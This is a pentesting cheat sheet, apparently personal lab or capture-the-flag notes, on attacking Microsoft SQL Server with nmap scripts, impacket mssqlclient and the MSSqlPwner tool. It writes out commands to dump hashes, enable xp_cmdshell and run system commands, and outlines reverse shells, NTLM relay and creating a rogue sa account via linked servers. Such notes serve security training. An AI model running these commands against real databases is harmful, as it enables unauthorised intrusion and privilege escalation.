githubEdit

Pentesting MsSql

Scanning

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 intranet.poo

mssqlclient.py

  • Use impacket mssqlclient.py to connect

python mssqlclient.py ARCHETYPE/[email protected] -windows-auth
mssqlclient.py -db POO_PUBLIC external_user:'password123'@10.13.38.11
  • https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server

  • Check what is the role we have in the server

SELECT is_srvrolemember('sysadmin');
  • If the output is 1 , it translates to True .

  • Check to see if xp_cmdshell is enabled

SQL> EXEC xp_cmdshell 'net user';
  • Set up the command execution through the xp_cmdshell:

EXEC xp_cmdshell 'net user'; — privOn MSSQL 2005 you may need to reactivate xp_cmdshell
  • First as it’s disabled by default:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
sp_configure; - Enabling the sp_configure as stated in the above error message
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
  • Now we are able to execute system commands:

  • Better Command Execution

  • Get a shell on target with nc or msfvenom

  • Find the admin password from the shell

mssqliclient modules

  • enumerate the db

  • enumerate the server links

  • enumerate any ability to impersonate a user

  • enumerate owners of the database

  • Attempt to download a remote file off the host

MSSQLPWNER

  • This is a great automated tool to help enumeration / access for mssql

  • https://github.com/ScorpionesLabs/MSSqlPwner.git

  • To perform automated general enumeration

  • To go interactive

  • attempt command execution

  • see linked servers

  • attempt ntlm relay oppertunities

msdat

  • check the output carefully and KO and OK can look very similiar

Linked Server Exploitation

  • Sometimes your user might not have sysadmin on the linked server. Additionally the user you are utilizing to run code on the linked server might not have sysadmin permissions on that linked server. However that user on the linked server might have SA permissions on your server. Im going to call this backward linked server

  • create new sa user on the server you have access to using this backward link attack

MSSQL Raw Commands

Last updated